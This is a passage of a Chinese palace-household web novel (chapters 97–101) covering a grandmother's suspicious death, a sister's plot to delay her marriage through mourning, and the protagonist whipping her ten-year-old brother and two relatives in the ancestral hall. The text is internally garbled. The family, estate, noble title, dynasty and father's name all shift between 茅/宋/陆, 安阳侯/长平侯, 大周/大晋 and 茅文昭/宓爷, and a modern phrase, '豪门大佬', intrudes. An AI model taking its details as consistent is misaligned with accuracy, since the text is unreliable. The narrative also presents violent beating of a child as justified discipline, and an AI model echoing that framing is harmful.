“你不是成天说,有法子让我嫁给太子吗?现在呢?眼看着林家就要上门提亲了,你的法子呢?!” 春秋低着头,死死咬着嘴唇,身体微微颤抖。 茅暮暮只觉得胸口憋着一团火,无处发泄。 她猛地起身,一脚踹翻了身旁的黄花梨木圆凳。 “砰”的一声,圆凳重重地砸在地上,发出一声闷响。 茅暮暮犹不解气,又将桌上的茶具、摆件,统统扫落在地。 碎瓷片、残渣、茶水,溅得到处都是。 春秋吓得脸色煞白,缩在墙角,瑟瑟发抖。 “一个个的……都欺负到我头上来了!” 茅暮暮双眼通红,状若疯狂。 就在这时,春秋突然灵光一闪: “小姐!奴婢……奴婢想到一个法子!” 茅暮暮猛地转头,死死盯着她: “什么法子?快说!” 春秋咽了口唾沫,小心翼翼地开口: “小姐若是不想嫁给刁明远,倒也不是全无办法……” “大周以孝治国,若有长辈过世,需得守孝三年……这期间,是不能议亲的……” 茅暮暮的眼睛眯了眯,若有所思。 “可是……我身边哪有什么长辈……” “小姐,”春秋的声音压得更低了,“这事……或许可以让邱老爷想想办法……” “只要……” 她没再说下去,但意思已经很清楚了。 茅暮暮的眼神闪烁了几下,脸色阴晴不定。 半晌,她缓缓开口,声音沙哑: “好……就这么办……” 她顿了顿,眼中闪过一丝狠毒: “还有,派人去书院,把茅飞羽给我接回来!就说……他祖母没了,让他回来奔丧!” 春秋一愣,随即明白过来,脸上露出一丝阴险的笑容: “小姐是想让茅清兮难堪?” “没错!” 茅暮暮冷笑, “她不是最在乎那个弟弟吗?我就让她亲眼看看,她那个宝贝弟弟,心里到底向着谁!” “我要让她知道,她茅清兮,就是个没人要的丧家之犬!” 茅暮暮咬牙切齿,眼底的恨意几乎要溢出来。 “小姐高明!” 春秋适时地送上一记马屁。 “茅飞羽那小子,平日里对小姐您最是亲近,见了茅清兮,就跟见了鬼似的……到时候,有好戏看了!” 两人对视一眼,相视一笑,尽在不言中。 几日后,安阳侯府的老夫人“病逝”的消息,传遍了京城。 白灯笼,丧幡,素服…… 安阳侯府笼罩在一片悲戚的气氛中。 茅清兮赶到时,灵堂已经布置妥当。 与前世不同,这一次,灵堂里多了不少前来吊唁的宾客。 第九十七章 毕竟,宋家如今也算是皇亲国戚,攀附的人自然不少。 这些人大多是冲着冀容白的面子来的,一个个脸上挂着悲戚,心里却不知在打着什么算盘。 茅清兮对这些虚情假意的人毫无兴趣。 她径直走到灵前,准备上香。 按照规矩,她只需上三炷香,磕三个头,便可离去。 毕竟,她已经嫁了出去,不再是安阳侯府的人。 然而,她刚拿起香,茅暮暮就走了过来。 “姐姐,” 茅暮暮的声音沙哑,带着哭腔, “您来了。” 她今日一身孝服,头上戴着白花,脸上未施粉黛,显得格外憔悴。 只是,那双红肿的眼睛里,却闪烁着算计的光芒。 “祖母生前最疼爱的就是姐姐,如今她老人家去了,姐姐难道……就这么走了?” 茅暮暮这话,说得冠冕堂皇,却暗藏机锋。 若是茅清兮真的就这么走了,传出去,必定落个不孝的名声。 “祖母临终前,特意嘱咐,希望所有子孙都能为她守灵三日。姐姐,您看……” 茅暮暮一边说,一边偷偷观察着茅清兮的反应。 守灵三日,可不是闹着玩的。 三日三夜不眠不休,跪在灵前,对身体和精神都是极大的考验。 茅暮暮打定主意,自己要守满这三日。 她倒要看看,茅清兮能不能熬得住! 她就是要借着这个机会,好好折磨茅清兮一番。 茅清兮又怎会看不穿茅暮暮的那点小心思? 不过,她并不在意。 既然茅暮暮要演戏,那她就陪她演下去。 “妹妹说的是,为祖母守灵,是为人子女应尽的孝道。” 茅清兮淡淡地说着,从侍女手中接过孝布,绑在了额头上。 然后,她跪在灵前,点燃了三炷香,恭恭敬敬地磕了三个头。 茅暮暮见状,眸中划过一抹势在必得。 她就知道,茅清兮不敢违背她的意愿。 “姐姐能这么想,真是太好了。” 茅暮暮假惺惺地说着,也在茅清兮身旁跪了下来。 灵堂里,气氛压抑而沉闷。 前来吊唁的宾客,一个个都低着头,不敢发出一点声音。 茅清兮跪在灵前,心中却在想着别的事情。 她总觉得,祖母的死,有些蹊跷。 前世这个时候,老太太身子骨硬朗着呢,怎么这一世,就突然去了呢? 而且,这死的时间,也未免太巧了些…… 正想着,突然听到一阵脚步声传来。 “豪门大佬终于现身!” 有人喊道。 茅清兮一愣,猛地抬头,循声望去。 只见一个身穿青色锦袍的少年,大步走了进来。 正是茅飞羽。 茅暮暮见状,立刻扑了过去,抱住茅飞羽,放声大哭: “飞羽!你可算回来了!祖母……祖母她……” 茅飞羽轻轻拍着茅暮暮的后背,低声安慰: “二姐,别哭了,我回来了……以后,我会保护你的……” 十岁的少年,已经有了几分大人的模样。 他站在那里,像一棵小小的松树,努力为茅暮暮遮挡着风雨。 而茅清兮,则像是一个局外人,静静地看着这一切。“飞羽,奶奶生命最后时刻惦记着你,你回来了,祖母九泉之下也能瞑目了。” 茅暮暮抬手,用指腹轻轻拭去眼角的泪痕,声音带着一丝不易察觉的颤抖,却努力挤出一丝安慰的笑容。她伸出微凉的手,拉住茅飞羽的手,指尖因为用力而微微泛白。两人并肩走向灵堂中央那口黑沉沉的棺木,每一步都像是踩在刀尖上,沉重而疼痛。 “咚——” 茅飞羽再也支撑不住,双膝重重跪倒在地,发出沉闷的声响,仿佛整个灵堂都跟着震动了一下。他将额头紧紧抵着冰冷坚硬的地面,身体像断了线的风筝,单薄的肩膀剧烈地颤抖着,每一次起伏都牵动着在场每一个人的心。 泪水夺眶而出,瞬间模糊了他的视线。无声的悲恸在胸腔内翻滚,像一头受伤的野兽,不断地撞击着他的胸膛,仿佛要将他整个人撕成碎片。 安阳侯府,对他最好的人…… 是祖母。 他记得祖母每一次慈爱的呼唤,那一声声温柔的“羽儿”,如同一缕阳光,照亮了他整个童年。 虽然,祖母的心偏得厉害,几乎到了不分是非的地步,以至于府里的姐妹们都对她颇有微词。可那份沉甸甸的、浓得化不开的偏爱,全都倾注在了他一人身上,像一座坚固的堡垒,将他牢牢地保护在其中。 从小到大,他在这份独一无二的偏爱中成长,如鱼得水。旁人的怨恨,他从未放在心上,甚至觉得理所当然。他只知道,祖母是他最亲近的人,是他生命中最温暖的光。 可如今,这道光,熄灭了。十岁的少年,纵使努力挺直脊梁,装出一副大人的模样,可终究还是无法承受这生命中不能承受之重。 茅暮暮紧挨着他跪下,伸出双臂紧紧地抱住他颤抖的肩膀,仿佛要将自己的力量传递给他。泪水再次夺眶而出,她哽咽着,断断续续地劝慰,每一个字都像是从喉咙深处挤出来的,带着无尽的哀伤与不舍。 姐弟二人,一个悲痛欲绝,一个泣不成声,紧紧相依。 灵堂内,静得落针可闻,只有压抑的啜泣声此起彼伏。 不知过了多久,人群中响起了一阵细碎的议论声。 “宋家小公子,真是孝顺,一路风尘仆仆,快马加鞭,从青云书院赶回来,这份孝心,实在让人动容。” “可不是嘛,宋小公子不仅孝顺,还聪慧过人,年纪轻轻就被孔首辅收为关门弟子,前途不可限量啊!” “唉,你们说,同样是老夫人的孙子孙女,宋小公子和茅二小姐悲痛欲绝,怎么那位大小姐,却一点反应都没有?跟个木头人似的。” “这你们就有所不知了吧?那位大小姐,平日里就娇纵跋扈,目中无人,对老夫人也没多少敬重之心……” “听说她还经常欺负府里的兄弟姐妹,心肠歹毒着呢……” “嘘,小点声,别让她听见了……” 刁明远站在人群中,耳边充斥着各种各样的议论声,如同一群苍蝇在他耳边嗡嗡作响,让他心烦意乱。 他紧握双拳,指甲深深地嵌入掌心,却感觉不到一丝疼痛。 他想要反驳,想要为茅清兮辩解,可话到嘴边,却又咽了回去。 他知道,自己没有资格。 “够了!” 终于,他再也无法忍受,一声怒吼,打破了灵堂内的沉闷气氛。 所有人的目光都集中在他身上,有惊讶,有疑惑,有鄙夷,也有看好戏的玩味。 “茅清兮不是你们说的那样!她比你们任何人都要好! 第九十八章 你们根本就不了解她!” 刁明远的声音在颤抖,他努力控制着自己的情绪,却还是无法掩饰内心的激动。 他看向茅清兮,目光中充满了复杂的情感,有愧疚,有心疼,也有爱慕。 可茅清兮,却始终没有回头,仿佛他只是一团空气,一个无关紧要的存在。 刁明远的心,像是被一只无形的手紧紧地攥住,疼得他几乎无法呼吸。 他低下头,眼眶泛红,泪水在眼眶里打转,却始终没有落下来。 “刁明远!你给我闭嘴!” 昌平伯怒气冲冲地走过来,一把将刁明远拉到身后,压低声音呵斥道。 “你是不是疯了?这里是什么地方?你竟然帮着茅清兮说话?你忘了自己的身份了吗?!” “爹,我只是说了实话……”刁明远的声音很小,带着一丝委屈。 “实话?什么实话?!”昌平伯的声音更大了,几乎是在咆哮,“你给我记清楚了,你要娶的人是茅暮暮!不是茅清兮!别再给我惹是生非!” 刁明远沉默了。 他知道,父亲说得对。 他没有资格,也没有立场,去为茅清兮辩解。 他只能眼睁睁地看着她,承受着那些莫须有的指责和谩骂。 昌平伯见他不再说话,这才稍稍松了口气,拉着他退到人群后面,生怕他再做出什么出格的事情。 长平侯茅文昭,虽然在朝堂上并无显赫功绩,但他才华横溢,诗词歌赋无一不精,在大晋文坛享有盛誉,颇受文人雅士的推崇。 因此,这一整天,前来侯府吊唁的宾客络绎不绝,其中不乏文坛名流,他们或吟诗作对,或挥毫泼墨,以此来表达对这位文坛前辈的哀思。 傍晚时分,夕阳西斜,将天空染成一片绚丽的红色,太子殿下也亲临侯府,前来吊唁。 不过,太子殿下似乎政务繁忙,只是简单地慰问了茅文昭几句,便匆匆离去,留下一个渐行渐远的背影。 太子殿下离开后不久,灵堂外突然传来一阵骚动,紧接着,春秋的一声尖叫,划破了夜空的宁静。 “小姐!小姐您怎么了?!” 众人闻声望去,只见茅暮暮脸色惨白,身体摇摇欲坠,最终支撑不住,昏倒在地。 “二姐!二姐你醒醒啊!” 茅飞羽一个箭步冲上前,扑倒在茅暮暮身旁,焦急地呼喊着,声音中充满了恐惧和担忧。 春秋跪在一旁,哭得泣不成声,断断续续地说:“小姐……小姐是伤心过度……晕过去了……” “快!快去请大夫!” 茅文昭也慌了神,连忙吩咐道。 众人手忙脚乱地将茅暮暮抬回房间,又是掐人中,又是灌姜汤,忙得不可开交。 大夫很快赶到,一番诊治之后,开了药方,又嘱咐了几句,这才离开。 众人守在茅暮暮的床边,寸步不离,生怕她再出什么意外。 灵堂里,只剩下茅清兮和二房庶女茅婉柔还跪着,气氛显得格外冷清。 “小姐,您一天都没吃东西了,先吃点吧。” 紫姨端着一碗简单的饭菜走进来,轻声说道。 “嗯。” 茅清兮点了点头,接过碗,默默地吃了起来。 茅婉柔跪得双腿发麻,她偷偷地揉着膝盖,看着茅清兮,心中五味杂陈。 “喂,茅清兮,你是不是真打算跪三天啊?” 茅婉柔忍不住开口问道。 茅清兮没有理会她,只是自顾自地吃着饭。 “你别以为我不知道,茅暮暮根本就是装晕!”茅婉柔见她不说话,心中更是不忿,“她就是不想跪了,才想出这么个馊主意!” 茅清兮放下碗筷,擦了擦嘴角,淡淡地说道:“你也可以学她。” “我才不学她呢!”茅婉柔撇了撇嘴,“我要是晕了,谁来照顾我?你吗?” 她顿了顿,又说道:“茅清兮,你别以为我不知道你在想什么,你肯定在心里偷着乐呢,对吧?这老太婆死了,你是不是觉得特别开心?” 茅清兮抬起头,看着她,眼神中没有一丝波澜。 “你以为我跟你一样,整天就想着那些没用的事情?”茅清兮的声音很轻,却带着一丝嘲讽,“有时间在这里胡思乱想,不如好好想想,怎么才能让自己过得更好。” “我……”茅婉柔被她噎得说不出话来,脸色一阵青一阵白。她不甘示弱的回怼,“你别以为你现在这副清高的样子装给谁看?没了老太婆护着茅飞羽,我看这侯府还有谁会搭理你!” 茅清兮没接话,只是看着灵牌。 茅婉柔见她不说话,只当她是默认了,嘴角的嘲讽的笑意更浓:“茅清兮,你跟我说句实话,你当真一点都不恨茅暮暮,不恨茅飞羽?” 茅清兮沉默片刻,说:“他们是我的亲人,我为何要恨?” “亲人?呵,真是可笑!”茅婉柔冷笑一声,眼中充满了鄙夷,“你以为他们把你当亲人了吗?在他们眼里,你不过是一个可有可无的摆设,一个可以随意利用的工具罢了!” “够了,这里是灵堂,别再胡说八道。”茅清兮的声音冷了下来。 “怎么,我说错了吗?你敢说你不恨他们吗?”茅婉柔步步紧逼,“你敢说你不想报复他们吗?” “茅婉柔,你是不是忘了,上次是谁把你打晕的?”茅清兮缓缓开口,声音中带着一丝警告,“你若是再敢胡说八道,我不介意再教训你一次。” “你……”茅婉柔脸色一变,眼中闪过一丝恐惧。 她想起上次被茅清兮打晕的事情,心中一阵后怕。 “我……我才不怕你呢!”茅婉柔强撑着说道,“你以为你现在还是以前的那个茅清兮吗?你现在什么都不是!” 茅清兮冷冷地看了她一眼,没有再说话。 “其实老太婆死了,最难受的应该是茅暮暮吧。”茅婉柔突然没头没尾地说了一句。 “你说什么?”茅清兮微微皱眉。 茅婉柔压低声音,神秘兮萱地说:“我可是听说,老太婆生前一直想让茅暮暮嫁给刁明远,可茅暮暮心里根本就不喜欢刁明远,她喜欢的是……” 她故意停顿了一下,看着茅清兮,一字一顿地说道:“她喜欢的是太子殿下!” 茅清兮的瞳孔猛地一缩。 “你胡说!”她下意识地反驳道。 “我是不是胡说,你自己心里清楚。”茅婉柔得意地笑了笑,“茅暮暮为了不嫁给刁明远,可是费了不少心思,现在老太婆死了,她要守孝三年,正好可以拖延婚事……” 她突然停了下来,看着茅清兮,眼中闪过一丝狡黠的光芒。 “你说,老太婆的死,会不会跟茅暮暮有关? 第九十九章 ” 茅清兮的心,猛地一沉。 她想起前世的种种,想起茅暮暮的所作所为,心中涌起一股强烈的不安。 “俞霜。” 她轻声唤道。 俞霜的身影瞬间出现在灵堂内,单膝跪地,恭敬地说道:“主子有何吩咐?” “去查,查清楚祖母的死因,看看跟茅暮暮有没有关系。” 茅清兮的声音很轻,却带着一丝不容置疑的坚定。 “是。” 俞霜应声,身影再次消失在夜色中。 “要是真是茅暮暮动的手,那可就有好戏看了……” 茅婉柔幸灾乐祸地说道。 “住口!” 茅飞羽的声音突然响起,打断了她的话。 他走了进来,脸色苍白,脚步虚浮,显然是刚刚从茅暮暮的房间里出来。 他走到灵前,跪了下来,看着茅清兮和茅婉柔,眼中充满了愤怒和失望。 “我不许你们这样说二姐姐!她不是那样的人!” 他咬牙切齿地说道,每一个字都像是从牙缝里挤出来的。“茅清兮,你发什么疯?!” 一声尖利的质问划破空气,茅飞羽膝盖一软,“哎哟”一声痛呼,捂着腿,五官扭成一团。他怒瞪着茅清兮,眼底怒火升腾。 茅清兮缓缓俯下身,冷冽的目光如刀锋般扫过茅飞羽的脸,声音冰寒: “我是谁?我是你姐姐!同父同母的亲姐姐!” 她嘴角勾起一抹冷笑,指尖轻点茅飞羽胸口,一字一顿: “长姐如母,这四个字,你读了这么多年书,都没听过?” 茅飞羽被她眼中的寒意震慑住,心头一颤,眼神闪躲。 突然,他猛地扭头,看向一旁的紫姨,声音带着一丝哀求: “紫姨,您快劝劝她啊!她肯定是疯了,您快救我……” 紫姨却站在原地,纹丝不动,语气平淡: “少爷,您逾矩了,大小姐并无过错。” 茅飞羽难以置信地瞪大眼睛,仿佛听到了什么笑话。他咬紧牙关,挤出几个字,瞪着茅清兮,又转向紫姨。 “茅清兮!祖母刚去世,你就要对家里人动手?” “家里人?”茅清兮嗤笑一声,眼底的嘲讽更浓,“茅飞羽,你摸着良心问问,你把谁当成过家里人?” 她猛地逼近一步,声音陡然拔高: “那就让你那位‘好二姐’祈祷,祈祷她做的那些事永远别被发现!否则,我茅清兮定会将她送进刑部大牢,让她生不如死!” 茅飞羽脸色青一阵白一阵。 若非前世茅飞羽亲眼所见,他绝不会相信,这个口口声声要将茅暮暮送进大牢的姐姐,会为了救他,不惜以命相搏,命丧太子府门前…… “你血口喷人!”茅飞羽猛地抬头,脖子上青筋暴起,眼底怒火升腾,“二姐姐怎可能对奶奶下毒手!在宋家,她最是孝顺!” 茅清兮紧紧攥着拳头,指甲嵌入掌心,压抑着怒火。 她深吸一口气,告诉自己要冷静。 茅飞羽如今的言行举止,越来越像茅文昭,那个虚伪的男人! 母亲临终前,将茅飞羽托付给她,要她照顾弟弟。 可那时她才八岁,自身难保,又谈何保护茅飞羽? 茅飞羽名义上记在骆芸名下,实际上,他一直由祖母抚养。 祖母待她们姐妹不好,唯独对茅飞羽,百般疼爱。 看在祖母的面上,这三日灵,她会守。 祖母的死因,她也会查。 但茅飞羽……他被骆芸和茅暮暮教得与她们格外亲近,反倒与她这个亲姐姐日渐疏远,甚至成了仇人。 前世,茅清兮对茅飞羽彻底寒了心,从未再管过他。 可这一世,她却无法坐视不理。 面对这个执迷不悟的弟弟,茅清兮只有一个法子—— 打! 打到他清醒为止! 这几日,灵堂内外,茅清兮没跟茅飞羽说过一句话。 茅暮暮醒来过一次,又来到灵前跪着,没多久便再次晕了过去。 茅文昭心疼不已,忙让人将她扶回去休息,生怕她哭坏了身子。 与茅暮暮不同,茅婉柔更像是为了争夺关注,在众人面前演了一出晕倒的戏码,随即被人抬回房中。 这三天,陆府各房各院似乎都有忙不完的事情。 最后,竟只有茅清兮和茅飞羽二人,始终跪在冰冷的灵堂里,未曾离开。 守丧三天已过,祖母的灵柩要送回安州老宅。 按理说,茅飞羽应留在京中准备书院的课业,不宜远行。但茅文昭作为一家之主,必须亲自护送灵柩回去。 茅文昭刚带着送葬队伍离开,茅清兮就一把拎起茅飞羽的后领,将他提到了母亲的牌位前。 “茅清兮,你干什么?放开我!” 茅飞羽吓了一跳,惊恐地喊道。他挣扎着,语气烦躁: “我得赶紧回学堂!课业很紧,夫子布置了很多任务……” “茅飞羽,”茅清兮打断他,声音冷冽,“我看你是书读得太多,把脑子读坏了!你们书院的夫子没教过你,什么是亲疏有别?” 她猛地一脚踢在茅飞羽的膝弯处,逼得他跪倒在地。 “啊——!” 茅飞羽惨叫一声,捂着腿,疼得直抽气。 他挣扎着要爬起来,却又被茅清兮一脚踹趴下。 “我问你,谁才是你的亲娘?” 茅清兮居高临下地看着他,厉声质问。 茅飞羽倔强地撅着嘴,紧咬牙关,目光飞快地扫过上方那块写着“青霜将军”的牌位,又迅速移开。 “我再问你一遍,茅飞羽,谁才是你的亲娘?!”茅清兮再次逼问。 茅飞羽猛地抬高声音:“谁养了我,我就认谁!” 茅清兮的脸色瞬间阴沉下来,紫姨的脸色也变了。 茅飞羽看着她们的神色,有些心虚,却还是强词夺理: “你们何必如此?活着的人总比死了的强,骆姨娘她对我好,我认她当娘,在陆府才能过得更好,这有什么错?” “姐,为何你始终不懂?非要和她们作对,有什么好处?” 他越说越觉得自己有理。 “你看,我在府里过得比你好多了吧?你应该学学我!” “闭嘴!” 茅清兮怒火中烧,胸口剧烈起伏,眼前一阵阵发黑。 她死死盯着茅飞羽,简直不敢相信,自己的亲弟弟竟被教养成这副模样! 自私自利,趋炎附势,毫无骨气…… 这还是当年女中豪杰青霜将军的后人吗? “紫姨,去,把家法拿来。” 茅清兮声音沙哑。 紫姨迟疑了一下,看了看茅清兮,又看了看茅飞羽,终究还是离开了这里。 茅飞羽一听“家法”二字,吓得魂飞魄散,连滚带爬地从地上爬起来,转身就跑。 茅清兮身形一闪,挡在他面前,一把揪住他的衣领,把他重重摔在地面。 紫姨拿着一根乌黑发亮的鞭子回来,茅清兮接过鞭子。 第一百章 “茅飞羽,你给我听好了!你是青霜将军的儿子,不是骆芸那个贱人的儿子!” 话音未落,她猛地扬起鞭子,狠狠地抽在茅飞羽的背上。 “啪——!” 鞭子抽打在皮肉上的声音,在祠堂里回荡。 “啊——!” 茅飞羽疼得惨叫一声,身体剧烈地颤抖着。 “茅清兮……你有什么资格动手打我?!” 茅飞羽哭喊着,眼泪鼻涕糊了一脸。 “你根本不配做我姐姐!我再也不会认你做姐姐!” 茅清兮听着这些话,神色未变。只是攥着鞭子的手,指节泛白。 她又扬起鞭子,狠狠地挥下: “茅飞羽,你要是不哭,我还能高看你一眼。” 茅飞羽硬生生将即将出口的痛呼咽了回去。 他死死地咬着牙,强忍着剧痛,红着眼睛趴在地上,不再发出一丝声音。 茅清兮缓缓蹲下身,看着他: “现在,告诉我,谁才是你亲生母亲?谁是你的姐姐?” 茅飞羽紧紧抿着唇,倔强地与她对视,眼底流露出委屈和难过。 茅清兮知道他心里已经开始松动,但还不够。 她再次扬起鞭子。 紫姨连忙开口劝阻: “小姐,公子从未习武,这几鞭子下去,恐怕会受不住!” 茅飞羽却哑着嗓子说: “就让她打!让她打死我算了!” 茅清兮冷哼一声,眼底闪过一丝复杂的情绪。 就在这时,祠堂外忽然传来一阵嘈杂的脚步声。 紧接着,门“砰”的一声被人从外面推开,一群人涌了进来。 茅暮暮和骆芸冲在最前面。 茅暮暮一看到趴在地上、背上血迹斑斑的茅飞羽,立刻发出一声悲鸣,扑了过去。 “飞羽!我的好弟弟!你怎么样了?让二姐看看!” 她扑到茅飞羽身边,泪水夺眶而出,伸手想要触碰茅飞羽的伤处,又怕弄疼了他,缩回了手,转而抓起他的手,心疼地查看。 确认茅飞羽只是皮外伤,没有伤筋动骨,茅暮暮稍稍松了口气。 她猛地抬头,怒视着茅清兮,声音尖锐: “茅清兮,你这个恶毒的女人!你怎么敢对飞羽下此毒手?他可是你亲弟弟!”“二姐!二姐救我!” 茅飞羽的哭喊声,像一把尖刀,刺得人耳膜发疼, 在祠堂里回荡,更显凄厉。 他猛地扑向茅暮暮,死死抱住她的腰,像一只受惊的小兽,紧紧依偎着,仿佛这样才能汲取到一丝安全感。 “你再不来……我……我就要被茅清兮……打死了!” 他带着哭腔,上气不接下气。 茅暮暮搂着怀里瑟瑟发抖的人儿,心疼得无以复加, 她柔声安抚: “飞羽不怕,有二姐在,谁敢动你?” 她抬头,视线扫过茅飞羽背上触目惊心的伤痕,眼神变得阴鸷。 茅飞羽抽噎着,肩膀一耸一耸,仿佛受了天大的委屈。 骆芸早已怒不可遏, 她快步上前,指着茅清兮的鼻子,厉声质问: “茅清兮!你眼里可还有尊卑?飞羽犯了什么错,你要下这样的狠手?” 茅清兮却像没听见似的,只是盯着茅飞羽。 突然,她手腕一翻,鞭子“嗖”地一声,划破空气, 鞭梢带起的风,甚至吹起了茅飞羽额前的碎发。 “茅飞羽,” 她的声音不大,却带着不容置疑的威严, “自己过来,跪下。” 茅飞羽吓得一哆嗦,身体抖得更厉害了,下意识地往茅暮暮身后藏。 “娘……二姐……救我……” 他声音发颤,带着哭腔。 “飞羽别怕,二姐护着你。” 茅暮暮感受到怀里人儿的恐惧,心底的算计却愈发清晰。 她状似无意地瞥了骆芸一眼,一个眼神,便已心领神会。 骆芸立刻上前一步,挡在茅飞羽身前, “飞羽是我们看着长大的,平日里碰一下都舍不得,就算他有错,也轮不到你来动手!要罚,也该等宓爷回来定夺。” 茅清兮缓缓抬眸,冰冷的视线像刀子一样,刮过骆芸的脸, 她胸口的怒火,仿佛随时都会爆发。 “茅飞羽,我是你亲姐姐,轮不到我来管你?” 她的声音,像是从牙缝里挤出来的,每一个字都带着寒意。 茅飞羽被她盯得发毛,身体不自觉地颤抖,眼神躲闪。 茅暮暮见状,心中暗喜, 她状似关切地拍了拍茅飞羽的后背,实则暗中推波助澜: “姐姐?这些年你可曾尽过半分姐姐的责任?飞羽受委屈的时候你在哪儿?你哪怕对他有一丁点儿好,他也不至于不认你这个姐姐。” 茅飞羽听了,像是找到了主心骨, 他猛地抬起头,冲着茅清兮大喊: “我可不认这种姐姐!你不是我姐姐!” 茅清兮的脸色瞬间铁青,嘴唇抿成了一条线。 茅暮暮见状,得意地笑了,她微微抬起下巴,挑衅地看着茅清兮。 怎么样,被亲弟弟厌弃的滋味,不好受吧? 打从茅飞羽还是个奶娃娃的时候,茅暮暮就和骆芸商量着,要把他抱到身边来养。 这么多年,总算没白费心思。 茅飞羽果然被她们养得只认她这个“二姐”,对茅清兮这个亲姐姐,却是恨之入骨。 她等的就是这一天! 就是要让茅清兮眼睁睁看着,她最在乎的人,一个个都背弃她,投向自己的怀抱! 就是要让茅清兮尝尝,什么叫痛不欲生! 想到这里,茅暮暮只觉得浑身舒泰, 这些日子以来,被茅清兮压制的憋闷,全都一扫而空。 茅清兮紧紧攥着拳头,指节泛白。 前世,她正是因为看清了茅飞羽对她的态度,才彻底死了心。 左右都是捂不热的石头,何必再浪费心力? 茅暮暮和骆芸从小就在茅飞羽耳边说她的坏话, 让茅飞羽对她的成见越来越深,最后,彻底把她当成了仇人。 她茅清兮,从来不是那种会自讨没趣的人。 哪怕对方是她的至亲,她也不会去巴结一个厌恶自己的人。 只要茅飞羽能平安长大,她可以不在乎他对她的态度。 可是现在,她不能再袖手旁观了! 茅清兮不能眼睁睁看着茅飞羽变成一个不明事理、不知好歹的人! 她无法想象,若是娘亲在天之灵,看到茅飞羽跟骆芸亲如母子,该有多痛心! 她茅清兮的亲弟弟,被骆芸和茅暮暮教成了这副模样,她如何对得起娘亲的在天之灵? 茅清兮深吸一口气,又缓缓吐出, 她强压下心头的怒火,眼神冰冷, “茅飞羽,我让你过来跪下!我数三声,三!” 茅飞羽吓得一激灵,死死抱着茅暮暮的腰,不肯撒手。 他浑身都在疼, 从小到大,他何曾受过这样的委屈? 茅清兮凭什么打他? “我不! 第一百零一章 你有本事就打死我!” 茅飞羽梗着脖子,冲着茅清兮大喊, “我有娘,有二姐,用不着你来管!” “二——!” 茅清兮的声音,像一道催命符,让茅飞羽的心脏猛地一缩。 他下意识地抬头, 只见茅清兮脸色阴沉得可怕,那眼神,像是要把他活活撕碎。 茅飞羽吓得魂飞魄散,两腿发软, 他往茅暮暮身后躲,声音发颤: “二姐……救我……” 他不想被茅清兮抓到,他怕疼! 茅暮暮心里暗自得意,面上却不动声色, 她巴不得茅清兮和茅飞羽闹得越僵越好,这样,茅飞羽才会更亲近她们。 “一——!” 茅清兮的声音,冰冷,决绝。 话音未落,鞭子带着风声,呼啸而至! “啊——!” 茅飞羽吓得尖叫,本能地躲到茅暮暮身后。 茅暮暮猝不及防, 眼睁睁看着鞭子落下,想躲,却已经来不及了。 “啪!” 鞭子重重地抽在了她身上, 但不是手臂,而是后背。 原来,千钧一发之际,茅暮暮竟然下意识地转过身,用后背替茅飞羽挡下了这一鞭! 茅清兮缓缓收回鞭子,唇角勾起一抹嘲讽的笑: “茅暮暮,我劝你最好想清楚,这一鞭子,你替他挡了,下一鞭子呢?你还能替他挡几次?” 茅暮暮疼得脸色煞白, 她咬着牙,强忍着痛, 茅清兮……她竟然真的敢…… “茅清兮!你疯了吗?!” 骆芸吓得魂飞魄散, 她一个箭步冲到茅暮暮面前,护犊子似的把她护在身后, “暮暮好心护着飞羽,你竟然下此毒手!你眼里还有没有我这个长辈?!” 茅清兮的声音,冷酷,残忍: “今天谁敢拦我,我就打谁!别说是你,就算是宓爷来了,也拦不住我!” 骆芸被她眼中的狠戾吓得一哆嗦, 她色厉内荏地吼道: “你……你敢动我一下试试!等宓爷回来,定要你好看!” “啪!” 话音未落, 鞭子已经狠狠抽在了骆芸的腿上。 骆芸“啊”地一声惨叫, 她养尊处优这么多年,哪里受过这样的罪? 剧痛之下,她眼前一黑,差点晕过去, 身体一软,瘫倒在地。 没了骆芸的阻拦,茅暮暮也慌了。 她是真的害怕了, 茅清兮已经彻底失去了理智,她什么都做得出来! 茅暮暮想躲,可茅飞羽却像只八爪鱼一样,紧紧缠着她。 “二姐,我怕!救我!” 茅飞羽哭喊着,声音里满是恐惧。 “飞羽……你先放开我……我去找人……” 茅暮暮的声音都在颤抖。 “我不要!我不要!” 茅飞羽却像是没听见一样,死死抓着茅暮暮的衣服不放, 茅暮暮越是想挣脱,他反而抱得越紧。 鞭子再次落下,这一次,抽在了茅暮暮的胳膊上。 茅暮暮痛得眼前发黑,她再也顾不上其他,猛地推开茅飞羽,自己则借势向后退。 却没想到脚下被什么东西绊了一下,整个人失去平衡, “砰”的一声,重重摔倒在地上。 几乎是同时,茅清兮的鞭子再次落下,目标依然是茅飞羽。 茅暮暮脑海里闪过一个念头:她不能毁容。 “别打了!别打了!” 茅暮暮尖叫着,下意识地想要爬起来,再次护住茅飞羽。 但是,一切都来不及了! 她只能眼睁睁地看着鞭子落下, “啪”的一声,结结实实抽在了茅飞羽身上。 茅飞羽发出一声惨叫, 他蜷缩成一团,在地上翻滚, 像一只受伤的小兽,无助地哀嚎。 直到这时, 一直被俞霜和紫姨拦着的春秋和其他丫鬟婆子,才终于冲了进来。 “快!快去请大夫!我的脸……我不能毁容!快去请大夫!” 茅暮暮跌坐在地上,声嘶力竭地喊叫着。 她心里对茅清兮的恨意,已经到了无以复加的地步。 这个疯子!她竟然真的敢这样对她! 以前,茅清兮但凡敢动手,她都会在茅文昭面前告状, 茅文昭就会严惩茅清兮,时间久了,茅清兮便不敢再造次。 可现在,茅清兮完全变了,她什么都不顾,什么都不怕! 茅暮暮看着茅清兮,眼神惊恐, 她突然意识到,从今往后,她恐怕再也斗不过茅清兮了。 茅清兮没再理会她们, 她缓缓走到茅飞羽面前, 他趴在地上,身体还在微微抽搐, 像一只被遗弃的小狗,可怜巴巴的。 “滚过来!” 茅清兮的声音,冷漠,威严, “在母亲的牌位前跪下!” 茅飞羽浑身都在疼, 他只觉得全身上下,没有一处不疼, 眼泪,止不住地往下流, 委屈,恐惧,愤怒……种种情绪交织在一起,几乎要将他淹没。 可他还是不得不挣扎着爬起来, 一步一步,挪到牌位前, “扑通”一声,跪了下去。 他恨!他真的好恨! 他恨茅清兮!恨不得将她碎尸万段!“把背挺直!” 茅清兮的声音,像是淬了冰的匕首。 茅飞羽一个激灵,眼泪还挂在脸上,就下意识绷直了脊背,像一棵被风雨摧折的小树苗。 身上火辣辣的疼,每一处都在叫嚣。 怕是真的怕了。 可骨子里那股子骄纵劲儿,又让他不肯低头。 他是谁? 安阳侯府的小公子,含着金汤匙出生,蜜罐里长大。 在外人面前,他或许还有所顾忌。 但在这府里,他就是说一不二的小祖宗! 